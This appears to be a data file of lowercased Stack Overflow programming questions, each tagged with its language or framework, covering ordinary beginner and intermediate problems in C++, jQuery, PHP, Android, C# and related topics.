cout&lt;&lt; enter a valid value. ;     }  }      int main() {     getrounds();     getuser();       srand(time(null));      computerschoice a;     a.printresult();     } </code></pre>,c++
find and set css to html element in variable  suppose i have variable in js and that variable has html as text like   <pre><code>shtml =  &lt;div id= dvprint  &gt;&lt;table&gt; ; shtml +=  &lt;tr&gt;&lt;td&gt;  +  &lt;img src=   + imgpath +    height= 900  width= 600  border= 0 /&gt;  +  &lt;/td&gt;&lt;/tr&gt; ; shtml +=  &lt;tr&gt;&lt;td&gt;  + $( #lbltxt ).html() +  &lt;/td&gt;&lt;/tr&gt; ; shtml +=  &lt;/table&gt;&lt;/div&gt; ; </code></pre>   so how could i set css to img element by jquery because it is stored in js variable.   <h2>can i set css in the below way</h2>  <pre><code>shtml =  &lt;div id= dvprint &gt;&lt;table&gt; ; shtml +=  &lt;tr&gt;&lt;td&gt;  +  &lt;img src=   + imgpath +    border= 0 /&gt;  +  &lt;/td&gt;&lt;/tr&gt; ; shtml +=  &lt;tr&gt;&lt;td&gt;  + $( #lbltxt ).html() +  &lt;/td&gt;&lt;/tr&gt; ; shtml +=  &lt;/table&gt;&lt;/div&gt; ; var $dvprint = $(shtml); $dvprint.addclass( imagecss ); </code></pre>   plzz tell me is there anything wrong. thanks,jquery
trap invalid opcode rip rsp  we see a couple of below mentioned messages in /var/log/messages for one of our application:    sep 18 03:24:23  kernel: application_name[14682] trap invalid opcode rip:f6c6e3ce rsp:ffc366bc error:0 and sep 18 03:19:35  kernel: application_name[4434] general protection rip:f6cd43a2 rsp:ffdfab0c error:7b2    i am not able to make what’s these output means and how we can track the function / code that is causing the issue. further what is  trap invalid opcode  and  general protection  means,c++
parse error: syntax error  unexpected  [   expecting     or  ;   i have tried googling and also browsed for similar topics here. sorry if it s a very silly issue  but it s eating my all time and i don t have peaceful mind to find the issue.   <blockquote>    parse error: syntax error  unexpected  [   expecting     or  ;  in   xxx.php on line 58  </blockquote>  <pre><code>&lt; php while($row = mysql_fetch_array($result)){  &gt; &lt;tr&gt;     &lt;td&gt; &lt;/td&gt;     &lt;td&gt;&lt; php echo row[ transaction_id ]  &gt;&lt;/td&gt; //line no 58     &lt;td&gt;&lt; php echo row[ mobile_operator ]  &gt;&lt;/td&gt;     &lt;td&gt;&lt; php echo row[ amount ]  &gt;&lt;/td&gt;     &lt;td&gt;&lt; php echo row[ email ]  &gt;&lt;/td&gt;     &lt;td&gt;&lt; php echo row[ payment_gateway ]  &gt;&lt;/td&gt;     &lt;td&gt;&lt; php echo row[ payment_status ]  &gt;&lt;/td&gt;     &lt;td&gt;&lt; php echo row[ payment_remarks ]  &gt;&lt;/td&gt; &lt;/tr&gt; &lt; php $i=$i+1; }  &gt; </code></pre>,php
should @synthesize be used still   i m just wondering if @synthesize should still be used even though xcode does it automatically for properties  simply because it s been done that way for so long   or does this mean we can all stop using @synthesize (unless you have a reason to give its instance variable a different name)     i just want to make sure that from a professional standpoint i m conforming to good coding practice.,objective-c
how to save pcm audio buffer as acc or other audio file   i get pcm audio from http protocol and i can play it.however  i don t know how to save them as acc or other audio file. does anybody can help me thanks.,iphone
what is  error: variable-sized object may not be initialized    i m trying to fill an array with numbers from 1-100 with this code:   <pre><code>#include &lt;stdio.h&gt;  int main() {     int num[100];     int i = 0;      for (i = 0; i &lt; 100; i++)     {         int num[i] = i+1;     } } </code></pre>   but i m getting this error:   <pre><code>c:18:13: error: variable-sized object may not be initialized </code></pre>   i m still relatively new to programming so i m not sure what this means. can you tell me,c
can i submit my os4 app using release mode of iphone 3g   my os4 app is running good in debug mode on my 3g but can i submit this app to appstore or i need to build release mode on iphone4,iphone
jquery set img src to own rel attribute in one line  i want to start loading all gallery images only once i click a button like this:   <pre><code>&lt;div class= .gallery-pictures &gt;     &lt;img rel= image1url  /&gt;     &lt;img rel= image2url  /&gt;     ... &lt;/div&gt;  $( .gallery-pictures img ).attr(  src   $(this).attr( rel ) ); </code></pre>   however  obviously <code>$(this)</code> is not the image so the <code>rel</code> attribute wouldn t be the correct one. so i m wondering if there s a to set all these without having to use:   <pre><code>$(selector +   img ).each(function(index  image) {     $(image).attr(  src   $(image).attr( rel ) ); }); </code></pre>,jquery
using angular $resource properly  here is the code:   <pre><code>var dbdelivery = deliveries.get({deliveryid: delivery.id}  function() {                 if (!dbdelivery.id) {                     toaster.pop( error    error    that delivery does not exist. somebody else may have deleted it. );                     var deliveryindex = $rootscope._.findindex($scope.deliveries   id   delivery.id);                     $scope.deliveries.splice(deliveryindex  1);                     return;                 }                 dbdelivery.confirmed = true;                 dbdelivery.$update(function() { delivery.confirmed = true; }  servererroralert);                 return dbdelivery.$promise;             }) </code></pre>   questions: 1) what happens if one calls multiple resource methods on a resource and returns the $promise  does it just depend on the last method executed  2) what is $resource looking for in order to reject the promise  i mean does it just depend on the response status code  if so which status codes result in a success and which result in error,angularjs
how to show dialog from dialog in android   my application show save or cancel dialog . when user click save   a new dialog will apperars with edit text   date button  and save button . when user click date button date dialog will appear . but i click date button i get invocationtargetexception . how can i solve this     <pre><code>dialog d = new dialog(cameraview.this  r.style.dialog);                                       d.requestwindowfeature(window.feature_no_title);                          d.setcontentview(r.layout.img_info);                          loaddate();                          d.setcancelable(true); </code></pre>   loaddate method like this   <pre><code>private void loaddate(){         // capture our view elements         mdatedisplay = (textview) findviewbyid(r.id.datedisplay);         mpickdate = (button) findviewbyid(r.id.pickdate);          // add a click listener to the button         mpickdate.setonclicklistener(new view.onclicklistener() {             public void onclick(view v) {                 showdialog(date_dialog_id);             }         });          // get the current date         final calendar c = calendar.getinstance();         myear = c.get(calendar.year);         mmonth = c.get(calendar.month);         mday = c.get(calendar.day_of_month);          // display the current date (this method is below)         updatedisplay();      }     private void updatedisplay() {         mdatedisplay.settext(             new stringbuilder()                     // month is 0 based so add 1                     .append(mmonth + 1).append( - )                     .append(mday).append( - )                     .append(myear).append(   ));     }      private datepickerdialog.ondatesetlistener mdatesetlistener =         new datepickerdialog.ondatesetlistener() {              public void ondateset(datepicker view  int year                                     int monthofyear  int dayofmonth) {                 myear = year;                 mmonth = monthofyear;                 mday = dayofmonth;                 updatedisplay();             }         };      @override     protected dialog oncreatedialog(int id) {         switch (id) {         case date_dialog_id:             return new datepickerdialog(this                          mdatesetlistener                          myear  mmonth  mday);         }         return null;     } </code></pre>,android
where can i find source code for .net clr and c#   is the source code for microsoft .net clr and c# open  if yes  where can i download/browse it,.net
c# tip calculator  method not calling  no error message <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks;  namespace tipcalculator {  class program {      static void main(string[] args)     {         string answer;         float totalprice;         console.writeline( would you like to calculate a tip  );         answer = console.readline();         if (answer ==  yes )         {             console.writeline( please enter the total price of your meal );             totalprice = float.parse(console.readline());              if (totalprice &gt;= 20.00)                 tipcalculator.over20(totalprice);             else if (totalprice &lt; 20)                 tipcalculator.under20(totalprice);             else console.writeline( error. please type in the value of the bill again );          }         else if (answer ==  no )             console.writeline( please run this again when you wish to calculate a tip. );         else             console.writeline( error. please type in \ yes\  or \ no\  );          console.readline();     }  } public class tipcalculator {     public static string over20(float bill)      {       float tip  totalbill;       tip = (bill * (float)1.2);       totalbill = (tip + bill);       return  very good. the total tip to be paid is   + tip +   and this will cost   + totalbill +  in total. ;      }      public static string under20(float bill)     {         float tip  totalbill;         tip = (bill * (float)1.1);         totalbill = (tip + bill);         return  very good. the total tip to be paid is   + tip +   and this will cost   + totalbill +  in total. ;      } } } </code></pre>   when i try to run this code no error is displayed however the message starting with  very good  does not display in the over20 or under20 message. thanks in advance!,c#
profile.get in asp.net  how do i get profile valueof anybody(profile.age profile.name) when the user is not logged in,asp.net
function influence on already running function javascript  so i have a function that show me random number images from the css class. the problem is when i am running the application twice   the second application change the images on the first application  while the random numbers dont show up in the second application. i thought it could be because i didn t have local variable  but i get the same problem with or without the global vars. i could use iframes  but there must be a away to get it work js only      i created a jsfiddle that show the problem  just press the run button twice and play with the dices you ll see my problem. <a href= http://jsfiddle.net/dymond/gul9u/  rel= nofollow >http://jsfiddle.net/dymond/gul9u/</a>    and the function that creates the classes.   <pre><code>function dicesides_func(nr){     // go to dice-window-wrapper again     // this could be put in a seporate functon     var elementtoadddice=  dice-window-wrapper        obj=this  // using this here that s why it s called wiht     dice i=0 total=0; // all the dice in this dice window     // dicesides_func.call to set the right this context     if(nr)     {         while((   +obj.classname+   ).indexof(elementtoadddice)==-1){             obj=obj.parentnode;         }         obj=obj.getelementsbytagname( ul )[2];         var dicessides = createelementwithclass( li  nr);         obj.appendchild(dicessides);         // calculate total (can do in a seporate function)          dice = obj.getelementsbytagname( li );     }     else     {         dice = document.getelementsbyclassname( dice );        }     for(i=0;i&lt;dice.length;i++){         total=total+getnumberforclass(dice[i].classname);     }     //alert(total);      var wrapper = document.getelementsbyclassname( dice-toolbar-counter-wrapper )[0];      while (wrapper.haschildnodes()) {         wrapper.removechild(wrapper.lastchild);     }      var ttl = total.tostring();     var arr = [];     for (var i = 0;i&lt;ttl.length;i++) {         var digit = ttl[i];         var newelem = createelementwithclass( li   side-  + ttl[i]);         //alert(dice_toolbar_counter_wrapper_li)         wrapper.appendchild(newelem);     }   } </code></pre>,javascript
printf() function acting strange  apologies if this question is stupid  i m new to coding  especially in c++. i m trying to read in data points from a space-separated text and then use the printf function to get it output them to the console. when i try this;   <pre><code>#include&lt;iostream&gt; #include&lt;fstream&gt; #include&lt;string&gt; using namespace std; int main() {     double x[1000];     int i = 0;     int j;     double y[1000];     double sigmay[1000];      ifstream datafile( xys_test.txt );      if (datafile.is_open()) {         while (!datafile.eof())         datafile &gt;&gt; x[i] &gt;&gt; y[i] &gt;&gt; sigmay[i];         printf( x = %5.2f  y = %5.2f  sigmay = %5.2f\n   x[i]  y[i]  sigmay[i]);     i++; } } </code></pre>   all the console output gives me is the last data point  when i was hoping that all the points would be output into the console. how can i resolve this,c++
calling instance methods   i am a bit confused now why sometimes we call an instance method this way:    nsdate *now = [nsdate date];    double seconds = [now timeintervalsince1970];    and sometimes we do it this way:    nsdate *later = [now datebyaddingtimeinterval:100000];    and why it gives me error if i used the second one this way:    double later = [now datebyaddingtimeinterval:100000];,objective-c
"jquery set select to select none  below is my jquery. every time the <code>&lt;select&gt;</code> changes value  it shows another <code>&lt;select&gt;</code> with the same value with the <code>&lt;option&gt;</code>. <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$( #mode ).on( change   function () {
     var value = $( #mode option:selected ).val();
     $( .hide ).slideup( fast );
     $( #  + value).show( slow );
 });</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.hide {
     display: none;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;div class=  &gt;
     &lt;label class= control-label &gt;mode&lt;/label&gt;
     &lt;select class= input-large m-wrap  name= mode  id= mode  required&gt;
         &lt;option value=  &gt;&lt;/option&gt;
         &lt;option value= general &gt;general knowledge&lt;/option&gt;
         &lt;option value= preparatory &gt;preparatory exam&lt;/option&gt;
     &lt;/select&gt;
 &lt;/div&gt;
 &lt;!-- modules --&gt;
 &lt;div class=  hide  id= general &gt;
     &lt;br&gt;
     &lt;label class= control-label &gt;module&lt;/label&gt;
     &lt;select class= input-large m-wrap  name= module  id= sub &gt;
         &lt;option value=  &gt;&lt;/option&gt;
         &lt;option value= module 1 &gt;module 1&lt;/option&gt;
         &lt;option value= module 2 &gt;module 2&lt;/option&gt;
     &lt;/select&gt;
 &lt;/div&gt;
 &lt;!-- a1 to asomething --&gt;
 &lt;div class=  hide  id= preparatory &gt;
     &lt;br&gt;
     &lt;label class= control-label &gt;exam&lt;/label&gt;
     &lt;select class= input-large m-wrap  name= exam  id= sub &gt;
         &lt;option value=  &gt;&lt;/option&gt;
         &lt;option value= a1 &gt;a1&lt;/option&gt;
         &lt;option value= a2 &gt;a2&lt;/option&gt;
     &lt;/select&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     the problem is when i ve already selected an option in module but then decided to change to exam instead. the option selected in the module stays.    how can i set the value of the now hidden select to none  i ve added <code>id= sub </code> to the two <code>&lt;select&gt;</code>s to set the value to <code>  </code> using the following line <code>$( #sub ).val() =   ;</code> but it doesn t seem to work.    edit: i ve tried to set the <code>id= sub </code> to <code>id= sub1 </code> and <code>id= sub2 </code> then used    <pre><code>$( #sub1 ).val() =   ; $( #sub2 ).val() =   ; </code></pre>   but still no luck.",jquery
pass by value and pass by reference in c# curly bracket  why do i keep getting  } expected  every time i run my program  i don t think i am missing any curly bracket. could it be something else    <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks;  namespace consoleapplication2 {     class program     {         static void main(string[] args)         {              int[] anarray = new int[] {30  40  60  70  80  90  100  110};              var byval = anarray[0];             console.writeline( by value:   + byval);              ref int byref = anarray[0];             console.writeline( by reference:   + byref);          }     } } </code></pre>   <a href= https://i.stack.imgur.com/z4onz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/z4onz.png  alt= enter image description here ></a>,c#
move an object into a corner of the screen  [deleted]    hid information as it was poorly phrased and was answered by a simple search.,html
why do some html elements allow  crossover    why is it that if i do:   <pre><code>&lt;div&gt; aaaaaaaa &lt;b&gt;&lt;/div&gt; &lt;div&gt; bbbbbbbb &lt;/div&gt; &lt;div&gt; &lt;/b&gt; ccccccccc &lt;/div&gt; </code></pre>   ...the content  bbbbbbbb  is in bold  then why can t i do the same with another tag such as &lt;span> instead of &lt;b>  is the bold case just the browser trying to fix it or is it actually valid     i am attemping to hide some text content that could span several &lt;div> tags but only know where the text starts and ends. could i use a tag such as &lt;b> to do this (with css stylin)  or is it a really bad idea     do you have any other suggestions     edit: i cannot easily change the html so validation is not useful. the html is user generated.,html
how increase the cell height at run time in iphone sdk  according to the <a href= http://i.stack.imgur.com/tuoce.png  rel= nofollow >following image</a>  the output is a table view. in section 3 the height of each cell is 200. in each cell i have placed one label which has the same height as the cell height i.e. 200. after that i place one more label to display the text from xml which is in gray color. this text is dynamic. i want to resize the cell height according to the this text label because after that i want to place 6 more label to display more data. for your reference you can see in a different color. for that i write following code.,iphone
how to find pos printer installed in network using pos for .net  i am working with one pos system and got stuck at one place. the problem i have is with pos printer in network. let me describe you my problem in detail.    i have one pos printer attached to my network. printer is having direct lan cable connection. it is not installed on any computer. i have successfully connected that printer through my windows 7 operating system.    now my problem is how can i access that network printer using microsoft pos sdk. i have already tried getdevices method of pos library. it returns me null.    do anyone have any experience with the same.    thanks in advance.,.net
stop page load and return result after certain time  i want to stop <code>page_load</code> if it isn t completed after a certain (configurable) amount of time  and then write an error to the page and return the page.      i ve tried using the various timers  like so:      in <code>page_load</code>:     <pre><code> system.threading.timer t = new system.threading.timer(throwexceptionaftertimeelapsed  null  4000  10000000);   </code></pre>   and then ...   <pre><code>void throwexceptionaftertimeelapsed(object sender  eventargs e) {      throw new exception(); }  </code></pre>   and then write error to page on <code>catch</code> in <code>page_load</code>  but that doesn t work since timer uses a different thread.    i ve also tried javascript <code>setinterval</code> on the page itslef  but the function in it was never invoked (and i don t know how to stop the page from loading on the server from the client anyhow).      so how do i stop <code>page_load</code>  run a few code lines  and return the page to the client,asp.net
transform json to user readable text  i need help on transforming the json to an user readable text.    sample json:   <pre><code>{      condition :  or        rules : [{              field :  x                operator :  in                value : [ a    b ]         }          {              field :  y                operator :  in                value : [ c    d ]         }          {              condition :  and                rules : [{                      field :  x                        operator :  in                        value : [ f    g ]                 }                  {                      condition :  and                        rules : [{                          field :  z                            operator :  in                            value : [ r    s ]                     }]                 }             ]         }          {              field :  i                operator :  in                value : [ d    k ]         }     ] } </code></pre>   expected output:   <pre><code>x in( a   b ) or y in( c   d ) or ( x in( f   g ) and ( z in( r   s ) ) ) or i in( d   k ) </code></pre>   thanks in advance for the help.,javascript
intelligencia url rewriting with jquery mobile  my site is working correctly with inteligencia url rewriting and jquery mobile on local but when i run it on server it shows the error that the resource cannot be found. http 404. the resource you are looking for (or one of its dependencies) could have been removed  had its name changed  or is temporarily unavailable. i developed my whole site with asp.net and jquery-mobile combination.,asp.net
how to check if user input a string value   so here s my code:   <pre><code>main() {         char *iochar;                                                                                             printf(  enter a standard line:  );                                                                      scanf (  %s   &amp;iochar);          if (iochar != null)         {                 printf(  here s what you entered: %s    &amp;iochar);         }         else         {                 printf(  oops! looks like you forgot to enter something!  );         } } </code></pre>   my problem is that i can scan the user entry and store it and if something exists it puts out the correct message. but if i just hit return to test for no input (null  empty  etc) the program neither quits nor outputs my error message. it just hangs until i input something.    i ve been programming in java for the last two semesters so c is totally lost on me right now. so any help would be much appreciated.,c
suppress echo from php include file  i have a file <code>php01.php</code> which:  - performs a function - creates an array - echo s some message    i need to include this file in another php script  say <code>php02.php</code> as i need access to the array it created. but when i jquery post request to <code>php02.php</code>  the data it returns also has the <code>echo</code> from <code>php01.php</code>    how can i suppress the echo from the first file,php
angularjs - cross orgin requests error  try to read a local file. get the following error. i ve tried all the angular cors tricks. but no luck any ideas what i m doing wrong. should work    xmlhttprequest cannot load file:///c://www/mapping.json. cross origin requests are only supported for protocol schemes: http  data  chrome-extension  https  chrome-extension-resource.   <pre><code>var app = angular.module( search   [ ngresource    ionic ])          .config(function ($httpprovider) {              $httpprovider.defaults.usexdomain = true;              delete $httpprovider.defaults.headers.common[ x-requested-with ];          });     var x = $http.get( mapping.json ); </code></pre>,angularjs
list-style-type not working  attempting to add any formatting on the following site using the css  list-style-type  property for ul and ol elements seems not to have any effect. i ve checked both css and html through several validators  and have been unable to determine what any errors might be. there do not appear to be any overrides in place to prevent them from being displayed.   <pre><code>http://74.220.219.55/~piedmoq6/patient-services/ http://74.220.219.55/~piedmoq6/wp-content/themes/piedmontpmr/style.css http://74.220.219.55/~piedmoq6/wp-content/themes/piedmontpmr/normalize.css </code></pre>,css
rails form_for url: posts_path error  i was following this tutorial for rails: <a href= http://guides.rubyonrails.org/getting_started.html  rel= nofollow >http://guides.rubyonrails.org/getting_started.html</a> and i had got to the part in 5.2 where you change the line   <pre><code>&lt;%= form_for :post do |f| %&gt; </code></pre>   to   <pre><code>&lt;%= form_for :post  url: posts_path do |f| %&gt; </code></pre>   every time i change it  i get this error:   <pre><code>syntaxerror in posts#new  showing /home/hiram/rails/blog/app/views/posts/new.html.erb where line #2 raised:  compile error /home/hiram/rails/blog/app/views/posts/new.html.erb:2: syntax error  unexpected  :   expecting kend ....append=  form_for :post  url: posts_path do |f| @output_buf...                               ^ extracted source (around line #2):  1: &lt;h1&gt;new post&lt;/h1&gt; 2: &lt;%= form_for :post  url: posts_path do |f| %&gt; 3:  &lt;p&gt; 4:    &lt;%= f.label :title %&gt;&lt;br&gt; 5:    &lt;%= f.text_field :title %&gt; trace of template inclusion: app/views/posts/new.html.erb  rails.root: /home/hiram/rails/blog </code></pre>,ruby-on-rails
how do you use one class for multiple tags   i want to use one class for two different tags. do i have to declare it like <code>&lt;h1 class= line &gt;</code> and then <code>&lt;p class= line </code>>     and in the css would it just be <code>.line</code> and it would change it for both then  please help. thanks,html
comment extraire le graphe dans une map android   actually i m working in a android application to get the shorest way between two point in a map  but i must use a database where the locations will be stored my problem is how to store them  if for example there is a way between point 0 and 1 we shouldn t show the way 1 to 0 ..! at end i must extract a graph from this map  based on locations who are in database...i just started if u have anything to help me i will ve thankfull ps: sorry for my english !,android
parse javascript variable  i m loading a javascript from an external url:   <pre><code>jquery(document).ready(function () { if (hasflash()) {     embedviewerswf(          /static/flash/cbv_2p645.swf            mia7777            edge33-b.stream.highwebmedia.com            /xml/viewer.xml            0            login_required_true_if_loggedin             0             https://ssl-ccstatic.highwebmedia.com/flash/playerproductinstall.swf            mario4025            $.mydefchatconn( join_group_show )            $.mydefchatconn( spy_on_private )            registration_required()            0            https://ssl-ccstatic.highwebmedia.com/images/flashwatermark.png            chaturbate.com            pbkdf2_sha256%2412000%242nlteielzxcu%24j9/x/yjbjrqhjkntlljdukbjkh1dec7xr8sh78/4t2w%3d            d2278438db4d37ad094a07e221b30c89ff07627cd1b1732d2f298328a71e9985            100            100      ); } else {     var html =  &lt;div id= still_video  style= display: none &gt; ;     html +=  &lt;video id= still_video_object  ;     html +=  src= http://origin13.stream.highwebmedia.com:1935/live-origin/mia7777-sd-5fd38820138291f9bcf6baa6ac062829f12567166a09f34d50fd93de58a65c79_aac/playlist.m3u8  ;     html +=  width= 498px  height= 407px  ;     html +=  webkit-playsinline autoplay&gt;&lt;/video&gt;&lt;/div&gt; ;     $( #still_video_container ).html(html);     $( #still_video ).show(); }         var useragent = navigator.useragent;     if (!($.cookie( supress_bline )) &amp;&amp; useragent.indexof( bline ) == -1  &amp;&amp; (useragent.indexof( iphone ) &gt;= 0 || useragent.indexof( ipod ) &gt;= 0)) {         $( #bline_notice ).show();     }     $( #dismiss_bline_notice ).click(function(e) {         e.preventdefault();         $( #bline_notice ).hide();         $.cookie( supress_bline   1  { expires: 30  path:  /  });     }); }); } </code></pre>   how can i get the contents of the <code>html</code> variable declared in the code above (using php or javascript):    <pre><code> html +=  src= http://origin13.stream.highwebmedia.com:1935/live-origin/mia7777-sd-5fd38820138291f9bcf6baa6ac062829f12567166a09f34d50fd93de58a65c79_aac/playlist.m3u8  ; </code></pre>   i tried it with <code>document.getelementbyid</code> and also by parsing the whole html on my site and then using <code>document.writeln</code> and getting out the variable  but i m stuck on this part.,javascript
android animation with viewpager offset  let s say i have view <code>x</code> on top of a viewpager. x has a width and height of 50dp. now when i scroll the viewpager from page one to page two   i would like for x to lower it s width and height relative to the current scroll position   and end up with 20dp height and width at minimum after the viewpager is fully scrolled to the second page.    i m trying to use the <code>positionoffset</code> value from <code>onpagescrolled</code>  but i can t seem to figure it out how it works exactly  and convert it to pixels.   <pre><code>viewpager.addonpagelistener(new viewpager.onpagechangelistener() {        @override             public void onpagescrolled(int position  float positionoffset  int positionoffsetpixels) {              system.out.println(positionoffset);                   }  }); </code></pre>   thanks  help is appreciated.,android
how to find and print out of a specific value from a list (at least i think thats what i want to do ) <pre><code>if n == 0:     print( and your products are:  )     for i in inputs:         with open( items.txt ) as f:              for line in f:                 if i in line:                     desc1 = line[9:17]                     price1 = line[21:25]                     print(str(desc1) +     +str(price1) +     + str(quantities)) </code></pre>   there is no error when running the code. when run  it outputs:     <pre><code>our available products are: 15372185 chocbisc 13281038 appjuice 26419633 tomasoup 74283187 sprrolls enter the product code: 74283187 sprrolls price = 0.90 available quantity = 86 is this what you want  (y/n) y how much would you like  34 would you like to continue  (y/n) y continuing! enter the product code: 15372185 chocbisc price = 1.20 available quantity = 50 is this what you want  (y/n) y how much would you like  45 would you like to continue  (y/n) n system closing! and your products are:  sprrolls 0.90 [34  45] chocbisc 1.20 [34  45] </code></pre>   as you can see  right at the bottom  it prints both quantities entered. i knew it was going to do this but i dont know how to rectify it. what i need it to do is to print only the quantity entered for that product code. any help as always would be greatly appreciated. thank you!!    also i removed most of the script under while n == 1 since this is my coursework  and i would rather it didn t get copied or anything like that. hopefully this still shows the relevant section of the code to the question.,python
executing a jquery function depending on scrollbar position  i am creating a simple webpage that animates as the user scrolls down. for an example  click <a href= http://johnpolacek.github.io/superscrollorama/  rel= nofollow >here</a>.     obviously  i know that superscrollorama exists.  it looks to have fantastic features  yet it s still rather confusing to a novice jquery user like myself.    so i would like to keep to simple stuff.  here is the code i have made for sliding in a div.  this code only works on page load  and i couldn t find how to execute the function when the element comes in to the browser viewport.   <pre><code>$(document).ready(function() {     $( .slide ).slidedown( slow ); }); </code></pre>   how can i get this animation to occur only when the element is scrolled to   can i reverse this animation once the element is once again out of view   is it better to just go figure out scrollorama than deal with this,jquery
constructor from another project  i have two projects in solution - one is a library  the other is main program. constructor of one of the classes in library creates few other objects. unfortunetly when i call that constructor in the main project that supposed to be made are invisible. is there any way to fix that     example of what i m talking about:     <pre class= lang-cs prettyprint-override ><code>namespace library {                       public class foo       {                   public bar bar;            public foo()            {                bar bar = new bar();                }       }  }    namespace project1 {      class program      {          static void main(string[] args)          {               foo foo = new foo();               //bar is not accessible here          }      } } </code></pre>,c#
sorting array java  hello guys i have a problem in my program. i have to call the class and write or not number in the main parameter to tell how much numbers will be printed and they have to be the biggest one s. the problem is that when i print few random numbers if they are equal or some negatives they only show up one time and sometimes they are not the biggest ones. if it is not clear i ll post the code and an example .   <pre><code>for(a = 0; a &lt; array.length; a++){      for(b = 0; b &lt; array.length-1; b++){         if(array[b] &gt; array[b+1]){             aux = array[b];             array[b] = array[b+1];             array[b+1] = aux;         } </code></pre>   i used this code to sort them but i dont know if its alright. ps: i cant use sort methods or objects just simple logic.,java
does the code below have potential memory leak   the last two lines of code below it s returning gives me a potential memory leak warning. .....is this a true positive warning or false positive warning  if true  how do i fix it  thanks a lot for your help!   <pre><code>-(uiimage*)setmenuimage:(uiimage*)inimage iscolor:(boolean)bcolor {      int w = inimage.size.width + (_borderdeep * 2);     int h = inimage.size.height + (_borderdeep * 2);      cgcolorspaceref colorspace;     cgcontextref context;      if (yes == bcolor)     {         colorspace = cgcolorspacecreatedevicergb();         context = cgbitmapcontextcreate(null  w  h  8  4 * w  colorspace  kcgimagealphapremultipliedfirst);     }     else     {         colorspace = cgcolorspacecreatedevicegray();         context = cgbitmapcontextcreate(null  w  h  8  w  colorspace  kcgimagealphanone);             }      cgcontextsetinterpolationquality(context  kcginterpolationhigh);      cgcontextdrawimage(context  cgrectmake(_borderdeep  _borderdeep  inimage.size.width  inimage.size.height)  inimage.cgimage);      cgimageref image = cgbitmapcontextcreateimage(context);     cgcontextrelease(context); //releasing context     cgcolorspacerelease(colorspace); //releasing colorspace      //// the two lines of code above caused analyzer gives me a warning of potential leak.....is this a true positive warning or false positive warning  if true  how do i fix it      return [uiimage imagewithcgimage:image]; } </code></pre>,ios
is there any use at all for code to go between </head> and <body>   i am just trying to clean up my code by removing any unwanted spaces and while doing so i was about to remove the gap between my <code>&lt;/head&gt;</code> tag and my <code>&lt;body&gt;</code>    so it looks like this:   <pre><code>&lt;/head&gt; &lt;body&gt; </code></pre>   instead of this:   <pre><code>&lt;/head&gt;  &lt;body&gt; </code></pre>   but as i was about to do so i was wondering if there is any type of code that can benefit from being in between this space  or whether it s a no go area     or would it only be acceptable for leaving notes,html
converting int array to char*  is this possible  i wanted to convert this into a char* so i could later retrieve this values.,c++
changing value of a selected option  i have a some selects in a class  when the change event happens on any of those selects i want to do the following :  search  all the selects for the selected value on which the change event occurred  when found i want to swap the two values.    ill give an example :    <pre><code>&lt;div id= l1col1  class= selects1 &gt;     &lt;select onchange= swap(newval  oldval); &gt;         &lt;option selected&gt;3&lt;/option&gt;         &lt;option&gt;2&lt;/option&gt;         &lt;option&gt;1&lt;/option&gt;     &lt;/select&gt; &lt;/div&gt;  &lt;div id= l1col2  class= selects1 &gt;     &lt;select onchange= swap(newval  oldval); &gt;         &lt;option selected&gt;2&lt;/option&gt;         &lt;option&gt;3&lt;/option&gt;         &lt;option&gt;1&lt;/option&gt;     &lt;/select&gt; &lt;/div&gt;  &lt;div id= l1col3  class= selects1 &gt;     &lt;select onchange= swap(newval  oldval); &gt;         &lt;option selected&gt;1&lt;/option&gt;         &lt;option&gt;2&lt;/option&gt;         &lt;option&gt;3&lt;/option&gt;             &lt;/select&gt; &lt;/div&gt;  </code></pre>   none of my selects can have the same value of the other : there can never be 1 or 2 or 3  more then once.    this is my swap function    <pre><code>function swap (x y){         //alert($(x).find( :selected ).text());      var tt = $(x).find( :selected ).text();              alert(tt + y);     $( .selects2 :selected:contains(   + tt +   ) ).text(   + y +   ); } </code></pre>   the problem is that when i call the change event lets say on the first select which contains 3 and change it with 1   the swap function changes the select that has 1 as selected to 3 but also changes again the select which i changed to 3 again .     can u help me work around this    i hope i was clear enough,jquery
align two element rows by second element  i have rows consisting of two elements that i d like to align by the second element (they re input boxes  and it s nice to have them all line up vertically).  the solution i behaves exactly how i want when the elements fit onto one line  i don t want to be using the width of the first element to set the horizontal position.  this starts to act weird in small windows or on mobile (when the width of the label is more than 45% of the screen it starts wrapping again).    what would be the proper way to achieve the same result     <a href= http://jsfiddle.net/et671zj8/2/  rel= nofollow >fiddle</a>    html:   <pre><code>&lt;label&gt;test&lt;/label&gt; &lt;input type= number  value= 0 &gt; &lt;br /&gt; &lt;label&gt;test longer&lt;/label&gt; &lt;input type= number  value= 0 &gt; &lt;br /&gt; &lt;label&gt;test longest text&lt;/label&gt; &lt;input type= number  value= 0 &gt; &lt;br /&gt; </code></pre>   css:   <pre><code>label {     display: inline-block;     float: left;     width: 45%;     text-align: right;     padding: 2px;     margin: 2px; } input {     display: inline-block;     float: left;     width: 200px;     padding: 2px;     margin: 2px; } </code></pre>,css
gettype in .net reflection does not work  i m trying to call    <pre><code>type.gettype( system.diagnostics.tracefilter ) </code></pre>   not typeof(system.diagnostics.tracefilter)    but the result is always null. could anyone help me out  how to get class type for this abstract class,.net
